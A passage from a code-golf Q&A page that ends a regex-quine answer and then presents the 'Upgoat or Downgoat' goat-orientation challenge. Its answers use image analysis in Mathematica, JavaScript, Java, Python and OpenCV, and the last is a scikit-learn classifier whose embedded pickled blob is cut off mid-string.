pattern, so `\2\.\2\|\2\)\2\)` must match `...\2\)` or `...\2\`. There cannot be a trailing newline because the last character should be `)`. And the matched text doesn't contain another `)` before the rightmost one, so all other characters must be in the `\2`. `\2` is defined as `(.2.|)`, so it can only be `\2\`. * The first line makes the whole expression matches exactly 188 characters since everything has a fixed length. The two times of group 1 matches 45\*2 characters plus 29 times `\2`. And things after group 1 matches 11 characters. So the total length of the two times `\2` must be exactly 3 characters. Knowing `\2` for the second time is 3 characters long, it must be empty for the first time. * Everything except the lookahead and `\2` are literals in group 1. With the two times `\2` known, and the last few characters known from the first line, this regex matches exactly one string. * Martin Büttner comes up with the idea of using lookahead to capture group 2 and make it overlap with the quine part. This removed the characters not escaped in the normal way between the two times of group 1, and help avoided the pattern to match them in my original version, and simplified the regex a lot. ## Regex without recursions or backreferences, 85 bytes Someone may argue that expressions with recursions or backreferences are not real "regular" expressions. But expressions with only lookahead can still only match regular languages, although they may be much longer if expressed by traditional regular expressions. ``` /(?=.*(\QE\\){2}z\/\z)^\/\(\?\=\.\*\(\\Q.{76}\E\\){2}z\/\z)^\/\(\?\=\.\*\(\\Q.{76}\z/ ``` [Try it here.](https://regex101.com/r/eZ4iX6/1) 610 bytes without `\Q...\E` (to be golfed): ``` /^(?=.{610}$)(?=.{71}(\(\.\{8\}\)\?\\.[^(]*){57}\)\{2\}\.\{12\}\$\/D$)((.{8})?\/(.{8})?\^(.{8})?\((.{8})?\?=(.{8})?\.(.{8})?\{610(.{8})?\}(.{8})?\$(.{8})?\)(.{8})?\((.{8})?\?=(.{8})?\.(.{8})?\{71(.{8})?\}(.{8})?\((.{8})?\\(.{8})?\((.{8})?\\(.{8})?\.(.{8})?\\(.{8})?\{8(.{8})?\\(.{8})?\}(.{8})?\\(.{8})?\)(.{8})?\\(.{8})?\?(.{8})?\\(.{8})?\\(.{8})?\.(.{8})?\[(.{8})?\^(.{8})?\((.{8})?\](.{8})?\*(.{8})?\)(.{8})?\{57(.{8})?\}(.{8})?\\(.{8})?\)(.{8})?\\(.{8})?\{2(.{8})?\\(.{8})?\}(.{8})?\\(.{8})?\.(.{8})?\\(.{8})?\{12(.{8})?\\(.{8})?\}(.{8})?\\(.{8})?\$(.{8})?\\(.{8})?\/D(.{8})?\$(.{8})?\)(.{8})?\(){2}.{12}$/D ``` [Try it here.](http://regex101.com/r/aJ2sX6/2) The idea is similar. ``` /^(?=.{610}$)(?=.{71}(\(\.\{8\}\)\?\\.[^(]*){57}\)\{2\}\.\{12\}\$\/D$) ((.{8})?\/(.{8})?\^(.{8})?\((.{8})?\?=(.{8})?\.(.{8})?\{610(.{8})?\}(.{8})?\$(.{8})?\) (.{8})?\((.{8})?\?=(.{8})?\.(.{8})?\{71(.{8})?\} (.{8})?\((.{8})?\\(.{8})?\((.{8})?\\(.{8})?\.(.{8})?\\(.{8})?\{8(.{8})?\\(.{8})?\} (.{8})?\\(.{8})?\)(.{8})?\\(.{8})?\?(.{8})?\\(.{8})?\\ (.{8})?\.(.{8})?\[(.{8})?\^(.{8})?\((.{8})?\](.{8})?\*(.{8})?\)(.{8})?\{57(.{8})?\} (.{8})?\\(.{8})?\)(.{8})?\\(.{8})?\{2(.{8})?\\(.{8})?\} (.{8})?\\(.{8})?\.(.{8})?\\(.{8})?\{12(.{8})?\\(.{8})?\} (.{8})?\\(.{8})?\$(.{8})?\\(.{8})?\/D(.{8})?\$(.{8})?\)(.{8})?\(){2}.{12}$/D ``` ## The basic regular expression If lookahead is not allowed, the best I can do now is: ``` /\\(\\\(\\\\){2}/ ``` which matches ``` \\(\\\(\\ ``` If `{m,n}` quantifier is not allowed, it is impossible because nothing which can only match one string, can match a string longer than itself. Of course one can still invent something like `\q` which only matches `/\q/`, and still say expressions with that regular. But apparently nothing like this is supported by major implementations. ]
[Question] [ Given an image of a goat, your program should best try to identify whether the goat is upside down, or not. ## Examples These are examples of what the input may be. Not actual inputs Input: ![Downgoat](https://i.stack.imgur.com/p5yj4.jpg) Output: `Downgoat` ## Spec Your program should be at most 30,000 bytes * The input will contain the full goat * The picture will always contain a goat * If the goat is upside down, output `Downgoat`, otherwise `Upgoat` Input will be however you can take an image as an input (file name, base64 of the image, etc.) Don't rely on the image name or other metadata for containing "Upgoat" or "Downgoat" as the gist file names are just for reference. --- *Please don't hardcode*. It's boring, I can't enforce it completely but I can ask nicely. ## Test Cases [Gist with images](https://gist.github.com/vihanb/3fb94bfaa7364ccdd8e2). images beginning with `downgoat` have `Downgoat` output and images beginning with `upgoat` have `Upgoat` output. [Second Batch of Test Cases](https://gist.github.com/vihanb/b1636465272f26d7f903) Make sure to test your images on all the test cases. These images are a `jpg`s. The image sizes do vary but not by *that* much. --- **Note:** A few test cases may be added before accepting an answer to avoid answers which hardcode and to check the general performance of the program. Bonus points for getting my avatar correct :P ## Scoring Score is a percent which can be calculated by: `(number_correct / total) * 100` [Answer] # Mathematica, 100%, 141 bytes ``` f@x_:=Count[1>0]@Table[ImageInstanceQ[x,"caprine animal",RecognitionThreshold->i/100],{i,0,50}];If[f@#>f@ImageReflect@#,"Up","Down"]<>"goat"& ``` Well, this feels more than a little like cheating. It's also incredibly slow as well as being very silly. Function `f` sees roughly how high you can set the Recognition threshold in one of Mathematica's computer vision builtins, and still recognise the image as a Caprine animal. We then see whether the image or the flipped image is more goaty. Works on your profile image only because tie is broken in favour of downgoat. There are probably loads of ways this could be improved including asking it if the image represents Bovids or other generalisations of the Caprine animal entity type. Answer as written scores 100% for the first testing set and 94% for the second testing set, as the algorithm yields an inconclusive result for goat 1. This can be raised back up to 100% at the expense of an even longer computational time by testing more values of `RecognitionThreshold`. Raising from `100` to `1000` sufficies; for some reason Mathematica thinks that's a very ungoaty image! Changing the recognition entity from Caprine animal to Hoofed Mammal also seems to work. ## Ungolfed: ``` goatness[image_] := Count[ Table[ ImageInstanceQ[ image, Entity["Concept", "CaprineAnimal::4p79r"], RecognitionThreshold -> threshold ], {threshold, 0, 0.5, 0.01} ], True ] Function[{image}, StringJoin[ If[goatness[image] > goatness[ImageReflect[image]], "Up", "Down" ], "goat" ] ] ``` --- # Alternative solution, 100% + bonus ``` g[t_][i_] := ImageInstanceQ[i, "caprine animal", RecognitionThreshold -> t] f[i_, l_: 0, u_: 1] := Module[{m = (2 l + u)/3, r}, r = g[m] /@ {i, ImageReflect@i}; If[Equal @@ r, If[First@r, f[i, m, u], f[i, l, m]], If[First@r, "Up", "Down"] <> "goat" ] ] ``` This one uses the same strategy as before, but with a binary search over the threshold. There are two functions involved here: * `g[t]` returns whether or not its argument is a goaty image with threshold `t`. * `f` takes three parameters: an image, and an upper and lower bound on the threshold. It is recursive; it works by testing a threshold `m` between the upper and lower thresholds (biased towards the lower). If the image and the reflected image are both goaty or non-goaty, it eliminates the lower or upper part of the range as appropriate and calls itself again. Otherwise, if one image is goaty and the other is non-goaty, it returns `Upgoat` if the first image is goaty and `Downgoat` otherwise (if the second, reflected image is goaty). The function definitions deserves a little explanation. First, function application is left-associative. This means that something like `g[x][y]` is interpreted as `(g[x])[y]`; "the result of `g[x]` applied to `y`." Second, assignment in Mathematica is roughly equivalent to defining a replacement rule. That is, `f[x_] := x^2` does *not* mean "declare a function named `f` with parameter `x` that returns `x^2`;" its meaning is closer to, "whenever you see something like `f[ ... ]`, call the thing inside `x` and replace the whole thing with `x^2`." Putting these two together, we can see that the definition of `g` is telling Mathematica to replace any expression of the form `(g[ ... ])[ ... ]` with the right-hand side of the assignment. When Mathematica encounters the expression `g[m]` (in the second line of `f`), it sees that the expression does not match any rules that it knows and leaves it unchanged. Then it matches the `Map` operator `/@`, whose arguments are `g[m]` and the list `{i, ImageReflect@i}`. (`/@` is infix notation; this expression is exactly equivalent to `Map[g[m], { ... }]`.) The `Map` is replaced by applying its first argument to each element of its second argument, so we get `{(g[m])[i], (g[m])[ ... ]}`. Now Mathematica sees that each element matches the definition of `g` and does the replacement. In this way we got `g` to act like a function that returns another function; that is, it acts roughly like we wrote: ``` g[t_] := Function[{i}, ImageInstanceQ[i, "caprine animal", RecognitionThreshold -> t]] ``` (Except in this case `g[t]` on its own evaluates to a `Function`, whereas before `g[t]` on its own was not transformed at all.) The final trick I use is an optional pattern. The pattern `l_ : 0` means "match any expression and make it available as `l`, or match nothing and make `0` available as `l`." So, if you call `f[i]` with one argument (the image to test) it is as if you had called `f[i, 0, 1]`. Here is the test harness I used: ``` gist = Import["https://api.github.com/gists/3fb94bfaa7364ccdd8e2", "JSON"]; {names, urls} = Transpose[{"filename", "raw_url"} /. Last /@ ("files" /. gist)]; images = Import /@ urls; result = f /@ images Tally@MapThread[StringContainsQ[##, IgnoreCase -> True] &, {names, result}] (* {{True, 18}} *) user = "items" /. Import["https://api.stackexchange.com/2.2/users/40695?site=codegolf", "JSON"]; pic = Import[First["profile_image" /. user]]; name = First["display_name" /. user]; name == f@pic (* True *) ``` [Answer] # JavaScript, 93.9% ``` var solution = function(imageUrl, settings) { // Settings settings = settings || {}; var colourDifferenceCutoff = settings.colourDifferenceCutoff || 0.1, startX = settings.startX || 55, startY = settings.startY || 53; // Draw the image to the canvas var canvas = document.createElement("canvas"), context = canvas.getContext("2d"), image = new Image(); image.src = imageUrl; image.onload = function(e) { canvas.width = image.width; canvas.height = image.height; context.drawImage(image, 0, 0); // Gets the average colour of an area function getColour(x, y) { // Get the image data from the canvas var sizeX = image.width / 100, sizeY = image.height / 100, data = context.getImageData( x * sizeX | 0, y * sizeY | 0, sizeX | 0, sizeY | 0 ).data; // Get the average of the pixel colours var average = [ 0, 0, 0 ], length = data.length / 4; for(var i = 0; i < length; i++) { average[0] += data[i * 4] / length; average[1] += data[i * 4 + 1] / length; average[2] += data[i * 4 + 2] / length; } return average; } // Gets the lightness of similar colours above or below the centre function getLightness(direction) { var centre = getColour(startX, startY), colours = [], increment = direction == "above" ? -1 : 1; for(var y = startY; y > 0 && y < 100; y += increment) { var colour = getColour(startX, y); // If the colour is sufficiently different if( ( Math.abs(colour[0] - centre[0]) + Math.abs(colour[1] - centre[1]) + Math.abs(colour[2] - centre[2]) ) / 256 / 3 > colourDifferenceCutoff ) break; else colours.push(colour); } // Calculate the average lightness var lightness = 0; for(var i = 0; i < colours.length; i++) { lightness += (colours[i][0] + colours[i][1] + colours[i][2]) / 256 / 3 / colours.length; } /* console.log( "Direction:", direction, "Checked y = 50 to:", y, "Average lightness:", lightness ); */ return lightness; } // Compare the lightness above and below the starting point //console.log("Results for:", imageUrl); var above = getLightness("above"), below = getLightness("below"), result = above > below ? "Upgoat" : "Downgoat"; console.log(result); return result; }; }; ``` ``` <div ondrop="event.preventDefault();r=new FileReader;r.onload=e=>{document.getElementById`G`.src=imageUrl=e.target.result;console.log=v=>document.getElementById`R`.textContent=v;solution(imageUrl);};r.readAsDataURL(event.dataTransfer.files[0]);" ondragover="event.preventDefault()" style="height:160px;border-radius:12px;border:2px dashed #999;font-family:Arial,sans-serif;padding:8px"><p style="font-style:italic;padding:0;margin:0">Drag & drop image <strong>file</strong> (not just link) to test here... (requires HTML5 browser)</p><image style="height:100px" id="G" /><pre id="R"></pre></div> ``` ## Explanation Simple implementation of [@BlackCap](https://codegolf.stackexchange.com/users/43037/blackcap)'s idea of checking where the light is coming from. Most of the goats are in the centre of their images, and their bellies are always darker than their backs because of the sunlight. The program starts at the middle of the image and makes a note of the colour. It then gets the average lightness of the pixels above and below the centre up to where the colour is different to the colour at the centre (when the body of the goat ends and the background starts). Whichever side is lighter determines whether it is an upgoat or a downgoat. Fails for downgoat 9 and upgoats 7 and 9 in the second test case. [Answer] # Java, ~~93.9%~~ 100% This works by determining the row contrast in the upper and lower part of the image. I assume that the contrast in the bottom half of the image is bigger for 2 reasons: * the 4 legs are in the bottom part * the background in the upper part will be blurred because it is usually the out-of-focus-area I determine the contrast for each row by calculating the difference of neighboring pixel values, squaring the difference, and summing all squares. ## Update Some images from the second batch caused problems with the original algorithm. ### upgoat3.jpg This image was using transparency which was ignored previously. There are several possibilities to solve this problem, but I simply chose to render all images on a 400x400 black background. This has the following advantages: * handles images with alpha channel * handles indexed and grayscale images * improves performance (no need to process those 13MP images) ### downgoat8.jpg/upgoat8.jpg These images have exaggerated detail in the body of the goat. The solution here was to blur the image in vertical direction only. However, this generated problems with images from the first batch, which have vertical structures in the background. The solution here was to simply count differences which exceed a certain threshold, and ignore the actual value of the difference. Shortly said, the updated algorithm looks for areas with many differences in images that after the preprocessing look like this: [![enter image description here](https://i.stack.imgur.com/KPZJU.png)](https://i.stack.imgur.com/KPZJU.png) ``` import java.awt.Graphics2D; import java.awt.RenderingHints; import java.awt.image.BufferedImage; import java.awt.image.Raster; import java.io.File; import java.io.IOException; import javax.imageio.ImageIO; public class UpDownGoat { private static final int IMAGE_SIZE = 400; private static final int BLUR_SIZE = 50; private static BufferedImage blur(BufferedImage image) { BufferedImage result = new BufferedImage(image.getWidth(), image.getHeight() - BLUR_SIZE + 1, BufferedImage.TYPE_INT_RGB); for (int b = 0; b < image.getRaster().getNumBands(); ++b) { for (int x = 0; x < result.getWidth(); ++x) { for (int y = 0; y < result.getHeight(); ++y) { int sum = 0; for (int y1 = 0; y1 < BLUR_SIZE; ++y1) { sum += image.getRaster().getSample(x, y + y1, b); } result.getRaster().setSample(x, y, b, sum / BLUR_SIZE); } } } return result; } private static long calcContrast(Raster raster, int y0, int y1) { long result = 0; for (int b = 0; b < raster.getNumBands(); ++b) { for (int y = y0; y < y1; ++y) { long prev = raster.getSample(0, y, b); for (int x = 1; x < raster.getWidth(); ++x) { long current = raster.getSample(x, y, b); result += Math.abs(current - prev) > 5 ? 1 : 0; prev = current; } } } return result; } private static boolean isUp(File file) throws IOException { BufferedImage image = new BufferedImage(IMAGE_SIZE, IMAGE_SIZE, BufferedImage.TYPE_INT_RGB); Graphics2D graphics = image.createGraphics(); graphics.setRenderingHint(RenderingHints.KEY_INTERPOLATION, RenderingHints.VALUE_INTERPOLATION_BICUBIC); graphics.drawImage(ImageIO.read(file), 0, 0, image.getWidth(), image.getHeight(), null); graphics.dispose(); image = blur(image); int halfHeight = image.getHeight() / 2; return calcContrast(image.getRaster(), 0, halfHeight) < calcContrast(image.getRaster(), image.getHeight() - halfHeight, image.getHeight()); } public static void main(String[] args) throws IOException { System.out.println(isUp(new File(args[0])) ? "Upgoat" : "Downgoat"); } } ``` [Answer] ## Python 3, 91.6% -edited with the new test cases set filename to the goat picture you wish to test. It uses a kernel to make an image top/bottom asymmetric.I tried the sobel operator, but this was better. ``` from PIL import Image, ImageFilter import statistics k=(2,2,2,0,0,0,-2,-2,-2) filename='0.png' im=Image.open(filename) im=im.filter(ImageFilter.Kernel((3,3),k,1,128)) A=list(im.resize((10,10),1).getdata()) im.close() a0=[] aa=0 for y in range(0,len(A)): y=A[y] a0.append(y[0]+y[1]+y[2]) aa=statistics.mean(a0) if aa<383.6974: print('Upgoat') else: print('Downgoat') ``` [Answer] # Python 3, OpenCV with Hough Transform, 100% My original idea was to detect the vertical lines of the goat's legs and determine its vertical position relative to the body and horizon. As it turns out, in all the images, the ground is extremely noisy, making lots of Canny edge detection output and corresponding detected lines from the Hough transform. My strategy was then to determine whether the horizontal lines lie in the upper or lower half of the image, which was enough to solve the problem. ``` # Most of this code is from OpenCV examples import cv2 import numpy as np def is_upgoat(path): img = cv2.imread(path) height, width, channels = img.shape gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) edges = cv2.Canny(gray, 100, 200, apertureSize=3) lines = cv2.HoughLines(edges, 1, np.pi/180, 200, None, 0, 0, np.pi/2-0.5, np.pi/2+0.5) rho_small = 0 for line in lines: rho, theta = line[0] a = np.cos(theta) b = np.sin(theta) x0 = a*rho y0 = b*rho x1 = int(x0 + 5000*(-b)) y1 = int(y0 + 5000*(a)) x2 = int(x0 - 5000*(-b)) y2 = int(y0 - 5000*(a)) if rho/height < 1/2: rho_small += 1 cv2.line(img,(x1,y1),(x2,y2),(0,0,255),1, cv2.LINE_AA) output_dir = "output/" img_name = path[:-4] cv2.imwrite(output_dir + img_name + "img.jpg", img) cv2.imwrite(output_dir + img_name + "edges.jpg", edges) return rho_small / len(lines) < 1/2 for i in range(1, 10): downgoat_path = "downgoat" + str(i) + ".jpg" print(downgoat_path, is_upgoat(downgoat_path)) for i in range(1, 10): upgoat_path = "upgoat" + str(i) + ".jpg" print(upgoat_path, is_upgoat(upgoat_path)) ``` Here's the entire function without outputting images: ``` def is_upgoat(path): img = cv2.imread(path) height, width, channels = img.shape gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) edges = cv2.Canny(gray, 100, 200, apertureSize=3) lines = cv2.HoughLines(edges, 1, np.pi/180, 200, None, 0, 0, np.pi/2-0.5, np.pi/2+0.5) rho_small = 0 for line in lines: rho, theta = line[0] if rho/height < 1/2: rho_small += 1 return rho_small / len(lines) < 1/2 ``` Downgoat1 edges: ![Downgoat1 edges](https://i.stack.imgur.com/rzRn3.jpg) Downgoat1 lines: ![Downgoat1 lines](https://i.stack.imgur.com/GnUpl.jpg) Upgoat2 edges and lines: ![Upgoat2 edges](https://i.stack.imgur.com/70gbo.jpg) ![Upgoat2 lines](https://i.stack.imgur.com/WGG0T.jpg) The method even worked well on particularly noisy images. Here's downgoat3 edges and lines: ![downgoat3 edges](https://i.stack.imgur.com/jHABO.jpg) ![downgoat3 lines](https://i.stack.imgur.com/y7zIP.jpg) --- # Addendum It turns out median blur and adaptive Gaussian thresholding before the Hough Transform works much better than Canny edge detection, mostly since median blur is good in noisy areas. However the problems of my original approach immediately are clear: prominent background lines are detected, as well as the goat's face in some pictures. ``` def is_upgoat2(path): img = cv2.imread(path) #height, width, channels = img.shape gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) gray = cv2.medianBlur(gray, 19) thresh = cv2.adaptiveThreshold(gray, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY_INV, 11, 2) lines = cv2.HoughLinesP(thresh, 1, np.pi / 180, threshold=100, minLineLength=50, maxLineGap=10) vert_y = [] horiz_y = [] for line in lines: x1, y1, x2, y2 = line[0] # Vertical lines if x1 == x2 or abs((y2-y1)/(x2-x1)) > 3: vert_y.append((y1+y2)/2) cv2.line(img, (x1, y1), (x2, y2), (0, 255, 0), 2) # Horizontal lines if x1 != x2 and abs((y2-y1)/(x2-x1)) < 1/3: horiz_y.append((y1+y2)/2) cv2.line(img, (x1, y1), (x2, y2), (0, 0, 255), 2) print(np.median(vert_y), np.median(horiz_y)) ``` Here's downgoat8: ![downgoat8 thresh](https://i.stack.imgur.com/sqXr8.jpg) ![downgoat8 edges](https://i.stack.imgur.com/2Klwu.jpg) Contours (code not shown) detect the top edge of the goat (spine) pretty well but fail to get the entire shape. ![contours](https://i.stack.imgur.com/d7cip.jpg) **Further research:** [OpenCV has Haar-feature based object detection](https://docs.opencv.org/3.4.1/d5/d54/group__objdetect.html) which is usually used for things like cars and faces, but it could probably work for goats too, given their distinctive shape. [2D Feature recognition](https://docs.opencv.org/3.1.0/da/d9b/group__features2d.html) looks promising (template matching won't work because of scaling and rotation) but I'm too lazy to figure out OpenCV for C++. [Answer] ## Python 3, numpy, scikit, 100% This code runs a goat-trained image classifier against a single filename, printing out 'Upgoat' or 'Downgoat'. The code itself is one line of python3, preceded by a single gigantic string, and an import line. The giant string is actually the goat-trained classifier, which is unpickled at runtime and given the input image for classification. The classifier was created by using the TPOT system, from Randal Olson and team at the University of Pennsylvania. TPOT helps to evolve machine-learning image classifier pipelines using genetic programming. Basically it uses artificial selection to choose various parameters and types of classification to work best with the input data you give it, so you don't have to know much about machine learning to get a pretty good pipeline setup. <https://github.com/EpistasisLab/tpot> . TPOT runs on top of scikit-learn, of INRIA et al, <http://scikit-learn.org/stable/> I gave TPOT about a hundred goat images that I found on the internet. I chose ones that looked relatively similar to the goats in Test, i.e. "in a field", from the side, without much else going on in the image. The output of this TPOT process was basically a scikit-learn ExtraTreesClassifier object. This image classifier, after being trained (or 'fit') on my goats, was pickled into the huge string. The string, then, contains not just classifier code, but the "imprint" of the training of all the goat images it was trained on. I cheated slightly during training, by including the 'goat standing on a log' test image in the training images, but it still works pretty well on generic goat-in-a-field images. There seems to be a tradeoff - the longer I let TPOT run, the better classifier it created. However, better classifiers also seem to be 'bigger' and eventually run up against the 30,000 byte limit given by @Downgoat in the golf game. This program as it stands is currently at about 27kbytes. Please note that the 'second group' of test images is broken, as is the 'backup link', so I'm not sure how it would do on them. If they were to be repaired, I would probably start over, rerun TPOT and feed it a bunch of new images, and see if I could create a new classifier under 30k bytes. Thanks ``` import pickle,bz2,base64,numpy,sys,skimage.transform,skimage.io s=''' QlpoOTFBWSZTWbH8iTYAp4Z/////////////////////////////////////////////4E6fAAPR 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 